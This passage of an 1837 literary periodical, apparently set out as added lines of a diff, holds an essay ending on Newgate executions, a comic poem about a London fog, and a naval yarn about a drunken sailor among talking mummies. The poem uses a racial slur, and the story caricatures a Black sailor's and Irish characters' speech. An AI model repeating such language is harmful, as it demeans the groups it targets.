+latter to be forgotten by the public, and the violater of the law was
+in consequence regarded with sympathy to which he had no just claim:
+the wrong, the violence which he had perpetrated, were almost wholly
+lost sight of; and thus the lesson, that an ignominious death would
+promptly requite a fearful crime, was feebly impressed on the minds of
+the pitying spectators. Such was the notion when executions followed at
+some considerable distance from conviction, and the superior efficacy
+of the course taken with regard to murders was often referred to as
+being directly in point. Now, this is changed; death for robbery or
+forgery is hardly known, and he who is sentenced to die for hurrying
+a fellow-creature out of existence has five or six weeks allowed him
+to prepare for eternity. In noticing the change, I do not mean to
+censure it. Time will show whether the course now taken is followed
+by an increase of homicide: as yet it is too early to pronounce an
+opinion; but no suspicion of the sort up to the present moment has been
+entertained.
+
+One strange practice was common to all executions at Newgate: a number
+of persons were "rubbed for wens," as it was called. Men, women, and
+children afflicted with them were introduced within the body of the
+vehicle of death, and elevated so as to be seen by the populace, within
+a few minutes after the convicts had been turned off. The patients were
+then indulged with a choice of the individual culprit, from those who
+had suffered, whose touch was to be applied to the part affected. The
+hands of the corpse selected were untied by the executioner, and gently
+moved backwards and forwards for about two minutes, which was supposed
+sufficient to effect a cure. This custom has now ceased; it was
+abolished as a piece of contemptible superstition, the continuance of
+which it would be disgraceful to permit. The executioner was deprived
+of this lucrative part of his business, without receiving for it any
+public compensation.
+
+        H.T.
+
+FOOTNOTE:
+
+[Footnote 41: This fact is not generally known; but a singular proof
+of the correctness of the above statement has recently been furnished.
+Within the last three months, the ground having been opened for the
+common sewer opposite Meux's brewhouse, by the end of Oxford-street,
+eight or ten, or more, skeletons were discovered. They were supposed
+to be the remains of suicides, who had been buried there, in the cross
+roads, under the old law against _felo de se_. One or two of them had
+perhaps committed self-destruction; but so many could hardly have been
+collected by the same act in one spot. It is much more probable that
+the bones there found were those of malefactors, who after execution
+had been interred under the gallows on which they suffered.]
+
+
+
+
+A PETER-PINDARIC TO AND OF THE FOG.
+
+
+                  Impartial Fog!
+                  Imperial Smellfungus!
+    Great Cacafogo! High (and low) Mundungus!
+                  Wherever born,--
+            Whether in Allan's or in Holland's bog,
+                  Or where the wakeful Morn
+            Dresses herself by starlight--at the Pole,
+                  Nature's impassable goal;
+    Or whether born and bred on agueish Essex' shore,
+    With stagnant waters greenly mantled o'er;--
+            Thou least-illustrious visitor!
+              Poking thy foreign way along,
+                Link-led and stumbling,
+                Blind-led and fumbling,
+              And always in the wrong;
+              Thou great unsung of song!
+            Inimical to light as an inquisitor,
+              But not so blood-ferocious,
+              Dark-hooded, and atrocious;
+    For, give thee undisturb'd thy gloomy way,--
+      Uninterrupted, let thee clap
+    A dark extinguisher on lightsome Day,
+      On early Morning a night-cap,
+    And 'tis remarkable how easy,
+    Though somewhat queasy,
+    Thou slumberest--how Session-long thy stay!
+          And very marvellous how
+              Innocuously quiet!
+    Passive as Daniel in the lions' den--
+    The living Daniel--flung to rav'nous men,--
+              (Delicious picking,
+              Although no chicken!)
+    Who lick their longing chaps, and get a precious licking!--
+        Daniel, who dreads that any row
+    Should spring up anywhere, and he not breed the riot!
+
+    All hail, great Fog! not but a _leetle_ rain--
+      A small, slight drizzling of natural, moist sorrow--
+    Would make our dark perplexities more plain,
+      And give us hopes of seeing a to-morrow!
+                Dear Fog, abate the vigour
+              Of your full-volumed breath!
+                Day was a dingy white
+                Till you "put out the light,"
+                  Like black Othello
+              When stifling his dear wife to death;
+    And, here, you've gone and made the comely fellow
+                A pretty figure,--
+                A horrid Nigger!
+
+    Hear me, if you're a hearkener!--
+    An English day at best is but a darkener
+                At any time o' year;
+              (It costs housekeepers many
+              A pretty pound and penny
+                To see _that_ clear.)
+            Look through the lustrous city,
+            And you will think 'tis pity
+                That Phœbus--
+            So shrewd a god, good at a rhyme
+                And rebus--
+            Should waste his precious time
+            In trying to look down
+          Upon this independent town;
+            And pertinaciously keep poking--
+            (While all the city wags are joking
+                At his egregious folly
+                And failure melancholy)--
+    Poking his ineffectual beams between the clouds,
+    Hovering sootily over it in crowds
+                To intercept his rays,
+                And turn them other ways.
+            He ought by this time to have known--
+                (His chaste, night-wandering sister,
+                Who does contrive to glister,
+    She should have told him)--that London, day and night,
+    Is better lit by gas than by his sultry light.
+
+    Come, brighten up, great Fog, and don't look gloomy
+    While I can see you--for these eyes grow rheumy!
+    Clear up, for Heaven's and dear London's sakes:
+    For, while you're groping here, there's sad mistakes
+                Making in every possible direction,
+                And some without detection!
+
+    There's some one, as I've struggled through the Strand,
+                Has had his hand
+    In my coat-pocket more than half a minute,
+    Though there is nothing but one sonnet in it!
+    La! bless me! well, how odd! why, I declare
+    It is my own hand I've detected there!--
+    I think that wasn't me that trod upon my toes?
+    There--dear me! why I've hit some other person's nose!
+                Lord! how the Simpson swears,
+                And hits about, and tears,
+            While I keep snug, and leave the angry ass
+            Just room enough to let his passion pass,
+    And laugh to hear him give himself such ultra-Donkey airs!
+
+    Madam, I really beg a person of your charms
+                A thousand pardons
+    For running so unbidden to your arms!
+                "Och! for five fardens
+    Your honour's wilcum as the flowers in May
+        To call agin there any day!
+    And p'r'aps it's you don't want a basket-woman?"--
+    Kitty Malone, by all that's Irish-human!--
+    "Och! long life to your honour! May your eyes
+    Be iver jist as bright as the Green Island's skies,
+                And niver foggy!"
+                I add--"Nor groggy;
+                Ay, Katty?"
+                "'Od dra't ye!"
+    For if to Kate some female errors fall,
+    Pay her gin-score, and you whitewash them all.
+    Now, which way should I turn to escape the Strand?
+    "Fait', then, it's handy--turn to your right hand!"
+    'Gad! I'm so posed, I know not left from right;
+    But, here goes--anywhere! Oh, guide me, Sight!
+
+                Heaven bless me! what
+    Is this I've run against, and fix'd it to the spot?
+    Bless the dear child! you really shouldn't stand
+                In people's way
+                In such a day.
+    Dear me! I've stunn'd her so, she cannot speak,
+                Not even shriek!
+    How pale she turns--white as a Greenland ghost!
+                Oh, horror! what a hue!
+                What shall I--can I do!
+    Her face is frozen-cold--her eyes all whites!
+    Here, help! watch! murder! lights! oh, lights!----
+    Zounds! what a fool I am! Why, here have I
+    Been wasting all this morbid sympathy--
+    This tenderness and pity--on _a post_!
+    Come, that is strange and laughable enough!
+    Talk of the drolleries of "Blind-man's buff,"
+                And "Catch who can,"
+                  This is as laughable,
+                  And chaffable,
+                To a good-humour'd man!--
+    (Between parentheses, and just by way
+    Of taking breath--_sub rosá_, I will say
+    That I like Blind-man's buff, and I confess it,
+                Bless it!
+    For, in that playful sport, if you 're inclined,
+    And your hand _sees_, though both your eyes are blind,
+        You may, perhaps, catch the petticoat of Miss
+                  Some one or other,
+                  Or her still-handsome mother,
+                      And snatch a kiss,
+    Which taken impromptu in that lively way.
+        In pure Platonic play,
+              Is pleasant--very!
+              And makes one merry,
+    And very easily finds ready pardon.)
+    Well, by this time, I must be near the Garden?
+              Yes, there's the smell eternal
+              Of cabbages infernal,
+              Those flatulencies vernal!
+    And there's the Hummums--(which my dear friend Stubbs,
+    Who speaketh through his nose, calls the _Hubbubs_!)--
+              Yes, and although the fog's
+    Perplexing in th' extreme, this must be Mogg's?
+    And this the Arcade which the dear Cockneys call
+    "_Pie-hay-sir_,"--sounds not like the sounds at all!
+    Corruption villanous! I here denounce it,
+              And pronounce it
+                "_Pi-atz-za_,"
+          And rhyme it to "_Buy hat, sir!_"
+
+    And there's the Theatre where solemn SIDDONS,
+      And that great "last of all the Romans," KEMBLE,
+      Made you for pity weep, or with touch'd passion tremble!
+    And this is Robins's--Robins, whose Darwin powers
+                In making his poetic _flowers_
+        (See his advertisements and auctions) tell--
+          (While those for sale upon the florists' leads.
+                  Hard by,
+          "Hide their diminished heads,"
+              And, envious, die)--
+                Are known so well!
+    So far, so good. Hah! here is Gliddon's!
+          And now I am no longer at a loss
+                Which way to go;
+          So, here I'll shoot across
+          Quick as a fool's bolt from his bow.
+                'Sblood! what a bump--
+                Not named in Spurzheim--
+    This cursed, confounded, and confounding pump,
+    With its large handle stretch'd out to the nor'ward,
+    Has suddenly developed on my forehead,
+            Which nothing hurts _him_!
+    How I should like to give some one a thumping!
+          You little scoundrel! night or day,
+          Whene'er I pass this way,
+    You d--d young rascal, you are always pumping!
+        Take that--and that--and that!--
+          Och, murder! if I haven't kick'd
+          (For which I shall get lick'd)
+    A stout, broad-shoulder'd, five-foot-seven Pat,
+                Just the unlikeliest chap
+                To take a given rap!
+    "Fly, Fleance, fly!" Don't stop to "take
+    Your change," for Heaven's and England's sake!
+
+    Well run, for forty-seven!--a tolerable foot-race!
+    And now I calmly recollect the place,
+              Its ins and outs,
+              And roundabouts,
+        A batter'd nose and broken shin
+        Are not too much to pay to win.
+
+                Pit-pat!
+                What's that?
+        Something that moves soft and slow,
+        Like graceful dancer in a furbelow!--
+                What are you? Ho!
+        A walking Vestris, with a leg to show?
+                    So be it!
+        Come, come, you all-engrossing Fog,
+        You're "going the whole hog,"
+          And hoggishly won't let me see it!
+        Pit-pat again! _encore_ pit-pat!
+    Oh, disappointment dire! a vagabond tom-cat!
+    Here, Paddy that I kick'd, if you can see,
+    Kick this great mousing brute in lieu of me!
+
+        Well, if again I go out in a fog,
+        May I be call'd a blind man's stupid dog,
+        A bat, a beetle, "_a good-nater'd fellar!_"
+    Headlong I dive--out of it--into the Cider-cellar!
+
+    _November, 1837._ PUNCH.
+
+
+
+
+NIGHTS AT SEA;
+
+_Or, Sketches of Naval Life during the War_.
+
+BY THE OLD SAILOR.
+
+WITH AN ILLUSTRATION BY GEORGE CRUIKSHANK.
+
+No. VI.
+
+
+JACK AMONG THE MUMMIES.
+
+                  "The times have been
+    That when the brains were out the man would die,
+    And there an end: but now they rise again
+    With twenty mortal murders on their crowns,
+    To push us from our stools."
+
+        SHAKSPEARE.
+
+A strange sail is always a matter of interest in a ship of war; and
+no sooner was the canvass set in chase of the brig mentioned in my
+last, than the forecastle of the Spankaway received its usual group
+of yarn-spinners, anxious to ascertain the character of the stranger,
+and what amount of prize-money was likely to be shared in case of her
+carrying an enemy's flag. There was our old friend Jack Sheavehole,
+together with Joe Nighthead, Bob Martingal, Bill Buntline, and several
+others; and occasionally the warrant-officers, and even the mate of
+the watch, stopped to chime in with a few words, so as to give life to
+their conversation.
+
+"It bothers my univarsal knowledge," said old Savage, the boatswain,
+"to make out what lay the skipper's on; and as for the chase, mayhap
+she mayn't turn out to be moonshine arter all."
+
+"How moonshine?" returned Mr. Bracebit, the carpenter; "she's plain
+enough to be seen, and they've made her out to be a brig: there can be
+no moonshine in that, anyhow."
+
+"But I tell you there is moonshine in it," persevered the boatswain, "a
+complete bag o' moonshine, unless you can diskiver the right bearings
+and distance o' the thing. I tell you what it is, Mr. Bracebit, I arn't
+been these many years man and boy in the sarvice----"
+
+"You should say boy and man, old Pipes," exclaimed the mate of the
+watch as he stopped short in his walk by the veteran's side.
+
+"And why should I say boy and man, instead of man and boy, Mr.
+Winterbottom?" demanded old Savage in anger.
+
+"Because, according to your own maxim, everything should be done
+ship-shape," replied the other; "and you was a boy before you was a
+man."
+
+"He has him there," whispered Jack Sheavehole to his messmate Bob. "I'm
+bless'd if that arn't plain-sailing, anyhow!"
+
+"Ship-shape do you call it?" answered the boatswain wrathfully.
+
+"Ay, ay, Muster Winterbottom, mayhap it may be according to your
+calculations of the jometry of the thing. It's nothing new now-a-days
+to see the boy put forud afore the man;" and he laid strong emphasis on
+the latter words.
+
+"There he hit him again, Jack," observed Bob Martingal in a whisper;
+"and I'm blowed if there arn't Gospel truth in that, anyhow!"
+
+[Illustration: Joe Nighthead and the Mummies]
+
+"Well, well, don't be angry, old friend," said Mr. Winterbottom,
+himself somewhat offended; "there's no occasion for being hot upon it;
+but, if you are, you may go to ---- and cool yourself!"
+
+"And a precious queer place that 'ud be for a cold-bath," said the
+carpenter: "but let's have no contentions, gentlemen. What do you take
+the brig to be, Mr. Winterbottom?"
+
+"A ship with her mizen-mast out, bound to Bombay, with a cargo of
+warming-pans," replied the young officer.
+
+"That arn't being over civil, anyhow," whispered Bob to his messmate;
+"though mayhap they may want warming-pans in Bumbay as much as they do
+in the West Ingees. To my thinking, she's a treasure-craft laden with
+mummies."
+
+"Did you ever fall athwart any o' them there hanimals, Bob?" inquired
+Joe Nighthead.
+
+"What hanimals do you mean, Joe?" returned Martingal. "For my part,
+I've seen a little somut of everything."
+
+"I means the mummies," replied Joe, as he squatted down in amidships
+just before the foremast, in preparation for a yarn, and was soon
+surrounded by the rest;--"I means the mummies, my boyo."
+
+"No; can't say as I have," answered Bob; "though I've heard somut about
+'em, too:--what rig are they?"
+
+"Why, for the matter o' that," said Joe, laughing, "they're
+broomstick-rig as soon as they makes a brush of it; but I'm blow'd if
+I hadn't onest as pretty a spree with a whole fleet of mummies as ever
+any man could fall aboard of in this world, or t'other either."
+
+"What was it, Joe?" asked the boatswain's mate eagerly. "Pay it
+out handsomely, messmate; but don't pitch us any of Bob's devil's
+consarns;--let's have it all truth and honesty."
+
+"I'd scorn to deceive _you_, Jack, or anybody else o' my shipmates
+wot's seamen," responded Joe reproachfully. "It's all as true as the
+skipper's a lord, and looks, alongside o' Johnny Cropoh there, like a
+man alongside of a--But, there,--it arn't honourable to make delusions;
+and so, shipmates, here goes for a yarn. I was coxswain in the pinnace
+of the ould Ajax, the Honourable Captain Cochrane, at that 'ere time
+when Sir Richard Bickerton took command of the fleet, and a flotilla
+was employed in co-operating with the troops again' Alexandria. Well,
+shipmates, I was always fond of a bit of gab; and so, the night we lay
+at a grapplin', waiting for daylight to begin the attack, my officer
+gets to talking about the place, and what a grand consarn it was in
+former days for gould and jewels, and sich like; and thinks I to
+myself, mayhap the Lords of the Admirality will take all that 'ere into
+account in regard o' the prize-money: and then he overhauls a good deal
+about the hobbylisks and Clipsypaddyree's Needle, and what not, that
+I'm blow'd if it didn't quite bamfoozle my larning. Well, we'd four or
+five days' hard work in the fighting way, and then there was a truce,
+and my officer run the pinnace aboard of a French prize laden with wine
+and brandy; so we starts the water out of one of the breakers and fills
+it with the real stuff, and I man-handled a pair of sodgers' canteens
+chock-full; and the prize-master, Muster Handsail, an old shipmate of
+mine, gives me a two-gallon keg to my own cheek, and I stows 'em all
+snug and safe abaft in the box, and kivers 'em up with my jacket to
+keep 'em warm. Well, it was just getting dusk in the evening when the
+skipper claps us alongside, and orders the leftenant to land me well up
+the lake, so as I might carry a letter from him across to a shore party
+as manned one of the heavy batteries away inland, at the back of the
+town.
+
+"Now, in course, shipmates, I warn't by no manner o' means piping
+my eye to get a cruise on _terror firmer_, seeing as mayhap I might
+chance to pick up some 'o' the wee things aboot the decks' as likely
+wud get me a bottle o' rum in England,--for, my thoughts kept running
+on the gould and jewels the leftenant spun the yarn about, and I'd
+taken a pretty good whack of brandy aboard the prize, though I warn't
+not in the least tosticated, but ounly a little helevated, just
+enough to make me walk steady and comfortable. So we run the boat's
+nose on to the beach, and I catches up my jacket and my canteens,
+leaving the keg to the marcy of Providence, and strongly dubersome in
+my mind that I had bid it an etarnal farewell. Howsomever, I shins
+away with my two canteens filled chock ablock; and 'Bear a hand,
+Joel' says the leftenant, 'though I'm blessed if I know what course
+you're to take, seeing as it's getting as dark as a black fellow's
+phisog.'--'Never fear, yer honour,' says I; 'ounly let me catch sight
+o' Clipsypaddyree's Needle for a landmark, and I'm darned if I won't
+find myself somewhere, anyhow;' and away I starts, shipmates, hand over
+hand, happy go lucky--all's one to Joe! But it got darker and darker,
+and the wind came down in sudden gusts, like a marmaid a-sighing; so,
+to clear my eyes, and keep all square, I was in course compelled to
+take a nip every now and then out of the canteen, till at last it got
+so dark, and the breeze freshened into a stiff gale, that the more I
+took to lighten my way and enable me to steer a straight course, I'm
+blessed, shipmates, if I didn't grow more dizzy; and as for my headway,
+why, I believes I headed to every point in the compass:--it was the
+dark night and the cowld breeze as did it, messmates."
+
+"No doubt in the world on it, Joe," assented Jack Sheavehole; "for if
+anything could have kept you in good sailing trim, it was the brandy,
+and the more especially in token o' your drinking it neat;--them dark
+nights do play the very devil with a fellow's reckoning ashore, in
+regard of the course and distance, and makes him as apt to steer wild,
+like a hog in a squall."
+
+"You're right, Jack," continued Nighthead; "and anybody as hears
+you, may know you speaks from experience o' the thing. Howsomever,
+there I was,--not a sparkler abroad in the heavens, not a beacon to
+log my bearings by; and, as I said afore, there I was in a sort of
+no-man's-land, backing and filling to drop clear of shoals, sometimes
+just at touch-and-go, and then brought-up all standing, like a haystack
+a-privateering. At last the weather got into a downright passion, with
+thunder, lightning, and hail; and 'I'm blessed, Joe,' says I to myself,
+'if snug moorings under some kiver or other, if it's ounly a strip o'
+buntin', wouldn't be wastly superior to this here!' But there was no
+roadstead nor place of shelter, and the way got more rougherer and
+rougherer, in regard o' the wrecks of ould walls and ould buildings,
+till I'm blessed if I didn't think I was getting into the latitude and
+longitude of the dominions of the 'long-shore Davy Jones."
+
+"My eyes, Joe!" exclaimed Martingal, replenishing his quid from an
+ample "'bacca" box, "but you was hard up, my boy!"
+
+"Indeed and I was, Bob," responded the other; "and I'm blowed if every
+thing as I seed about me didn't begin to dance jigs and hornpipes to
+the whistling of the wind, that I thought all manner of bedevilment had
+come over me, and so I tries to dance too, to keep 'em company. But it
+wouldn't do, shipmates, and I capsizes in a sudden squall, and down I
+went, headforemost."
+
+"It's precious bad work that, Joe," said the old boatswain's mate,
+shaking his head. "A fellow in an open sea may do somut to claw to
+wind'ard; but when you're dead upon a lee-shore, it's time to look for
+your bag. But what did you do, Joe?"
+
+"Why, what could I do, shipmate, but to take another nip at the
+canteen," responded Joe; "it was all I had in life to hould on by,
+with a heavy gale strong enough to blow the devil's horns off, and
+the breakers all round me: my eyes! but it was a reg'lar sneezer.
+'Howsomever,' thinks I, 'it won't do, Joe, to be hove down here for a
+full due--you must at it again, ould chap;' and so I tries to make sail
+again, and heaves ahead a few fathoms, when down I comes again into
+a deep hole, and, before you could say Jack Robison, I'm blow'd if I
+warn't right slap in the middle of a large underground wault, where
+there was a company o' genelmen stuck up in niches, and peeping over
+mummy-cases, with great candles in their hands; and in other respects
+looking for all the world like the forty thieves as I once seed at the
+play, peeping out of their oil-jars; and there was a scuffling and
+scrimmaging at t'other eend o' the wault: and, 'Yo hoy!' says I, 'what
+cheer--what cheer, my hearties!' but not nobody never spoke, and the
+genelmen in the niches seemed to my thinking to be all groggy, and I'm
+blessed if ever I seed sich a set o' baboon-visaged fellows in all
+my days. 'Better luck to us, genelmen,' says I, filling my tot and
+taking a dram; but not a man on 'em answered. 'Pretty grave messmates
+I've got,' says I; 'but mayhap you don't hail as messmates, seeing as
+you arn't yet had a taste o' the stuff. Come, my hearties, I'll pipe
+to grog, and then I'll sarve it out all ship-shape to any on you as
+likes.' So I gives a chirp, and 'Grog ahoy!' sings I. Well, shipmates,
+I'm blessed if one on 'em didn't come down from the far eend o' the
+wault, and claps me alongside as I was sitting on the ground, and he
+takes hould o' the tot, knocks his head at me, as much as to say,
+'All in good fellowship,' and down went the stuff through a pair o'
+leather lips in the twinkling of a hand-spik. 'All right, my hearty,'
+says I, filling the tot again: 'is there any more on you to chime
+in?'--'Sailor,' says he, in a voice that seemed to come from a fathom
+and a half down underneath him, for I'm blowed, messmates, if his lips
+ever moved;--'sailor, you must get out o' this,' says he.--'Lord love
+your heart,' says I, 'the thing's onpossible; you wouldn't have the
+conscience to make an honest tar cut and run in sich a rough night
+as this here.'--'We arn't never got no consciences,' says he; 'we're
+all dead.'--'Dead!' says I laughing, though, messmates, I own I was a
+bit flusticated; 'dead!' says I; 'that's gammon you're pitching, and
+I thinks it's hardly civil on you to try and bamboxter me arter that
+fashion. Why, didn't I see you myself just now when you spliced the
+main brace?--dead men don't drink brandy.'--'We're privileged,' sings
+out a little cock-eyed fellow up in one o' the niches; 'we're the ould
+ancient kings of Egypt, and I'm Fairer.'--'If there warn't many more
+fairer nor you,' says I, 'you'd be a cursed ugly set, saving your
+majesty's presence,' for I thought it best to be civil, Jack, seeing
+as I had got jammed in with such outlandish company, and not knowing
+what other privileges they might have had sarved out to 'em besides
+swallowing brandy. 'Will your majesty like just to take a lime-burner's
+twist, by way of warming your stumack a bit, and fumigating your
+hould?' says I, as I poured out the stuff.--'Give it to King Herod, as
+is moored alongside of you,' says he, 'and keep your thumb out of the
+measure;' for, shipmates, I'd shoved in my thumb pretty deep, by way
+of lengthening out the grog, and getting a better allowance of plush.
+How the ould chap came to obsarve it, I don't know, unless it was
+another of their privileges to be up to everything. 'Keep your thumb
+out!' says he.--'All right, your honour,' says I, handing the little
+ould fellow the tot; and he nipped it up, and knocked off the stuff
+in a moment. And 'Pray,' says I, 'may I make bould to ax your honour
+how long you've been dead?'--'About two thousand years,' says he: and,
+'My eyes!' thinks I, 'but you're d--d small for your age.'--'But,
+sailor,' says he, 'what brought you here?'--'My legs, your honour,'
+says I, 'brought me as far as the hatchway; but I'm blowed if I didn't
+come down by the run into this here consarn.'--'You mustn't stop here,
+sailor,' says he,--'that's King Herod,--you can have no business with
+us, seeing as we're all mummies.'--'All what?' says I, 'all dummies?'
+for I didn't catch very clearly what he said; 'all dummies?' says
+I. 'Well, I'm bless'd if I didn't think so!'--'No, no! mummies,'
+says he again, rather cantankerously; 'not dummies, for we can all
+talk.'--'Mayhap so, your majesty,' says I, arter taking another bite
+of the cherry, and handing him a third full tot, taking precious good
+care to keep my thumb out this time: 'but what am I to rouse out for?
+It ud take more tackles than one to stir Joe Nighthead from this. I'm
+in the ground-tier,' says I, 'and amongst all your privileges, though
+you clap luff upon luff, one live British tar, at a purchase, is worth
+a thousand dead kings, any day.'--'Haugh!' says he, as he smacked his
+leather lips, and the noise was just like a breeze making a short board
+through a hole in a pair of bellows; 'Haugh!' says he, as soon as he'd
+bolted the licker, 'it doesn't rest with us, my man: as mummies, we're
+privileged against all kinds of spirits.'--'Except brandy,' says I.--'I
+means evil spirits,' says he: 'but if the devil should come his rounds,
+and find you here upon his own cruising-ground, he'd pick you up and
+make a prize of you to a sartinty.'--'D--the devil!' says I, as bould
+as a lion, for I warn't a-going to let the ould fellow think I was
+afeard of Davy Jones, though I was hard and fast ashore; and 'D--the
+devil,' says I, 'axing your majesty's pardon; the wagabone has got no
+call to me, seeing as I'm an honest man, and an honest man's son as
+defies him.' Well, shipmates, I had my head turned round a little,
+and something fetches me a crack in the ear, that made all sneer
+again, and 'Yo hoy! your majesty,' says I; 'just keep your fingers
+to yourself, if you pleases.'--'I never touched you,' says he; 'but
+there's one close to you as I can see, though you can't.'--'Gammon!'
+says I; 'as if your dead-eyes were better than my top-lights.'--But,
+shipmates, at that moment somut whispers to me,--for may I be rammed
+and jammed into a penny cannon if I seed anything; but somut whispers
+to me, Joe Nighthead, I'm here over your shoulder.'--'That's my name
+all reg'lar enough, whatever ship's books you got it from,' says I:
+'But who the blazes are you that's not nothing more than a woice and
+no-body?'--'You knows well enough who I am,' says the whisper again;
+'and I tell you what it is, Joe, I've got a job for you to do.'--'Show
+me your phisog first,' says I, 'or I'm blow'd if I've anything
+whatsomever to say to you. If you are the underground Davy Jones, it's
+all according to natur, mayhap; but I never signs articles unless I
+knows the owners.'--'But you _do_ know _me_, Joe,' says the woice,
+that warn't more nor half a woice neither, in regard of its being more
+like the sigh of a periwinkle, or the groan of an oyster.--'Not a bit
+of it,' says I; for though I suckspected, shipmates, who the beggar
+was, yet I warn't going to let him log it down again me without having
+hoclar proof, so 'Not a bit of it,' says I; 'but if you wants me to do
+anything in all honour and wartue,'--you see, Jack, I didn't forget
+wartue, well knowing that when the devil baits his hook he claps a
+'skylark' on to the eend of it; so, 'all in honour and wartue,' says
+I, 'and Joe's your man.'--'Do you know who's alongside of you?' says
+the woice.--'Why, not disactly,' says I: 'he calls himself King Herod;
+but it's as likely he may be Billy Pitt, for anything I knows to the
+contrary.'--'It _is_ King Herod,' says the whisper again; 'the fellow
+who killed all the Innocents,'--'What innocents?' axes I, seeing as I
+didn't foregather upon his meaning.--'The innocent babbies,' says the
+woice; 'he killed them all, and now he's got a cruising commission to
+keep me out o' my just rights, and I daren't attack him down below
+here.'--'The ould cannibal!' says I: 'what! murder babbies?--then I'm
+blowed if he gets a drop more out of my canteen.'--'Who's that you're
+meaning on?' says King Herod; 'who isn't to get another taste?'--'Not
+nobody as consarns you, your honour,' answers I, for I didn't like to
+open my broadside upon him, in regard of not knowing but he might have
+a privilege to man-handle me again.--'I think you meant me,' says he;
+'but if you didn't, prove the truth on it by handing me over a full
+gill.' Well, shipmates, that was bringing the thing to the pint, and it
+put me into a sort of quandary; but 'All in course, your honour,' says
+I; 'but I'm saying, your majesty, you arn't never got sich a thing as
+a bite o' pigtail about you--have you? seeing as I lost my chaw and my
+'bacca-box in the gale--hove overboard to lighten ship.'--'Yes, I can,
+my man--some real Wirginny,' says the king."
+
+"Ha! ha! ha!" laughed the sergeant of marines; "go it, Joe;--you'll
+rival Tom Pepper presently. Why, Virginia is only a late discovery;
+such a place wasn't known in the days of Herod, nor tobacco either."
+
+"To my thinking it's wery hodd, Muster Jolly, that you should shove
+your oar in where it arn't wanted," muttered Joe. "Why?--couldn't
+they have a Wirginny in Egypt? and as for the 'bacca, I'm blowed if I
+don't wouch for the truth on it, for out his majesty lugs a box as big
+round in dameter as the top of a scuttle-butt, and, knocking off the
+lid, 'There's some of the best as ever was many-facter'd,' says he.
+'I loves a chaw myself, and there's nothing whatsomever as 'ull beat
+the best pound pig-tail.'--'Sartinly not, in course, your honour,'
+says I; 'but I'm blessed if it doesn't double upon my calculations o'
+things to think how your majesty, who ought to be in _quod_ in t'other
+world, should take your _quid_ in this.'--'We're privileged, my man,'
+says he; 'we're privileged and allowed to take anything, in reason,'
+and he fixed his glazed eyes with a 'ticing look at the canteen. 'You
+know,' says he, 'that it's an ould saying aboard, "the purser makes
+dead men chaw tobacco."' Well, shipmates, that was a clencher in the
+way of hargyfication that brought me up all standing; so I hands King
+Herod the tot again, and I rouses out a long scope of pig-tail out o'
+the box, and takes another nip at the brandy.--'You won't do it, then,
+Joe,' says the whisper t'other side of me.--'What is it?' axes I.--'The
+best pound pigtail,' says King Herod, as if he thought I was speaking
+to him.--'It's ounly to borrow one of these here mummies for me for
+about half an hour,' says the woice.--'Which on 'em?' says I.--'This
+here in the box,' says King Herod. 'Why, I'm thinking your brains are
+getting all becalmed.' And so they was, shipmates; for, what with the
+woice at one ear that I couldn't see, and his majesty at the other,
+who often doubled himself into two or three, I'm blowed if I warn't
+reg'larly bamboozled in my upper works."
+
+"You was drunk, Joe," said the sergeant of marines; "it's very evident
+you was _non compos mentis_."
+
+"And, what if I hadn't a nun compass to steer by?" replied Joe angrily,
+"is that any reason I should be tosticated? I tell you I warn't drunk,
+in regard o' the full allowance o' brandy I stowed in my hould to keep
+me steady and sober. Ax Jack there if it's any way likely I should be
+drunk."
+
+"It stands to reason, not," argued Jack Sheavehole, "or, what's the
+use of a fellow having the stuff sarved out at all? Short allowance
+only brings a mist afore the eyes and circumpollygates the head till
+everything looms, like Beachy in a fog. But when you've your full
+whack, it clears the daylights, cherishes the cockles o' your heart,
+and makes you more handy, 'cause you often sees two first leftenants
+where there's ounly one."
+
+"Dat berry true, massa Jack," said Mungo Pearl; "me al'ays sweep de
+deck more clean when me tink me hab two broom in me hand."
+
+"In course," continued Joe, more soothed; "none but a Jolly would go
+to say anything again it, or doubt the woracity o' the thing. Well,
+shipmates, to heave ahead, I'm saying I was reg'larly bamblustercated
+when one of the genelmen up in the niches squeaks out, 'King Herod,
+I'll just thank you for a thimble-full of the stuff.'"
+
+"Did he say 'a thimble-full?'" inquired Sam Slick, the tailor. "It
+couldn't be a professional thimble, then, for they never has no tops
+to 'em. It shows, however, the antickity of thimbles; though I thought
+they never had any use for them in those days."
+
+"And why not, you lubber?" asked Bob Martingale.
+
+"Simply because their garments were not sewed together as they are in
+the present day," answered the tailor.
+
+"Tell that to the marines, Sam," said the boatswain's mate; "why what
+was Clipsypaddyree's needle for, eh? But, get on, Joe; there's no
+conwincing such ignoramasses."
+
+"Ay, ay, messmate!" uttered Joe. "'Well,' says the genelman in the
+niche, 'I'll thank you for a thimbleful of that 'ere stuff.'--'With all
+the pleasure in life, your honour,' says I as I filled up the tot, and
+was going to carry it to him, but----'Give it to me, I'll take it,'
+says King Herod;' and up he gets,--my eyes! I never seed such a queer
+little ould chap in all my life!--and off he bolts to t'other mummy,
+steering precious wild, by the way; and he tips him the _likser witey_,
+and then back again he comes, and brings up in his ould anchorage.
+'May I make bould to ax your majesty,' says I, 'what the name o' that
+genelman is as you've just sarved out the stuff to?'--'He's not a
+genelman, not by no manner o' means,' says he, 'in regard of his being
+a king.'--'And King who?' axes I.--'You're werry quizative, Muster
+Sailor,' says he; 'but it's in the natur o' things to want to know
+your company. That's King Hangabull.'--'And a devilish queer name,
+too,' says I, 'for a fellow to turn into his hammock with. Is he of
+Irish distraction?'--'His mother was an Irishman,' says the king, 'and
+his father came out of a Cartridge.'--'And a pretty breed they'd make
+of it,' says I, 'somut atwixt a salt cod and a marmaid.'--'Will you
+steal me a mummy?' comes the whisper again; 'you'd better, Joe.'--'No
+threats, if you please,' says I.--'I never threatened you,' says the
+king, who thought I was directing my discourse to him; 'but, sailor, I
+must call over all their names now to see there's none absent without
+leave,'--and I'm blow'd if he didn't begin with King Fairer; but
+there was a whole fleet of King Fairers and King Rabshakers, and King
+Dollyme, and ever so many more, every one answering muster, as if it
+had been a rope-yarn Sunday for a clean shirt and a shave, till at last
+I got fairly foozlified, and hove down on my beam-ends as fast asleep
+as a parish-clerk in sarmon time."
+
+"A pretty yarn you 're spinning there, Mister Joe," said old Savage,
+who it was evident had been listening,--as he had often done both
+before and since he mounted his uniform coat:--"A pretty yarn you're
+spinning. I wonder you arn't afeard to pay out the slack o' your lies
+in that fashion."
+
+"It's all true as Gospel, Muster Savage," responded Joe: "I seed it,
+and suffered it myself, and afore I dropped asleep--'Mayhap,' thinks
+I, 'if I could steal a mummy for myself to give to my ould mother, it
